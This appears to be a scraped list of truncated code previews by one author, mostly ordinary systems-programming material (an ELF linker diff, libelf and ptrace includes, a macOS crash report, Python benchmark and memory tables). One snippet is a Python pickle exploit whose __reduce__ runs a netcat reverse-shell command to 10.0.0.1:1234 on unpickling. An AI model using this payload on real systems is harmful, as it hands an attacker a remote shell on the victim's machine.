pablogsal

diff --git a/bfd/elf.c b/bfd/elf.c
index 84a5d94281..a0bd5203f5 100644
--- a/bfd/elf.c
+++ b/bfd/elf.c
@@ -5943,6 +5943,11 @@ assign_file_positions_for_load_sections (bfd *abfd,
          link_info->callbacks->info ("%X");
        }

+       /* If we have a PT_LOAD segment with no sections that is empty,
+          then we need to drop it or some loaders will complain.  */

pablogsal

#include <fcntl.h>
#include <gelf.h>
#include <libelf.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

#include <fcntl.h>

pablogsal

import pickle
import base64
import os

class Evil:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)

if __name__ == '__main__':

pablogsal

Process:         a.out [63465]
Path:            /Users/USER/*/a.out
Load Address:    0x100000000
Identifier:      a.out
Version:         ???
Code Type:       ARM64
Platform:        macOS
Parent Process:  debugserver [63466]

Date/Time:       2023-06-14 18:19:15.597 +0100

pablogsal

#include <elfutils/libdwfl.h>
#include <elfutils/libdw.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <cstdio>
#include <cstdlib>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>

pablogsal

All benchmarks:

Benchmark	2022-12-21_09-50-main-a7715ccfba5b	2022-12-21_14-11-gc_nogen-663a9654f714
async_tree_io	1.52 sec	658 ms: 2.31x faster
async_tree_memoization	753 ms	397 ms: 1.89x faster
async_tree_none	621 ms	334 ms: 1.86x faster
async_tree_cpu_io_mixed	924 ms	607 ms: 1.52x faster
xml_etree_iterparse	121 ms	98.7 ms: 1.23x faster

pablogsal

#include <elf.h>
#include <fcntl.h>
#include <link.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <elf.h>
#include <fcntl.h>

pablogsal

from importlib.resources import path
import pathlib

from pygments import highlight
from pygments.lexers import PythonLexer
from pygments.formatters import HtmlFormatter
from collections import defaultdict
from dataclasses import dataclass

from memray import FileReader

pablogsal

#include <stdio.h>                                                                                                                                                           #include <stdlib.h>                                                                                                                                                          #include <sys/mman.h>
#include <stdio.h>

typedef int(*fn)(void*, void*);
typedef int(*lel)(void*);

int say_hello(void* f) {
    int* val = (int*)f;
    printf("Say hello: %d\n", *val);
    sleep(10);

pablogsal

##### Python 3.10

## BB code

                       types |   # objects |   total size
============================ | =========== | ============
                         str |       37328 |      4.51 MB
                        dict |        6340 |      2.84 MB
                        code |       10490 |      1.95 MB
                        type |        1605 |      1.46 MB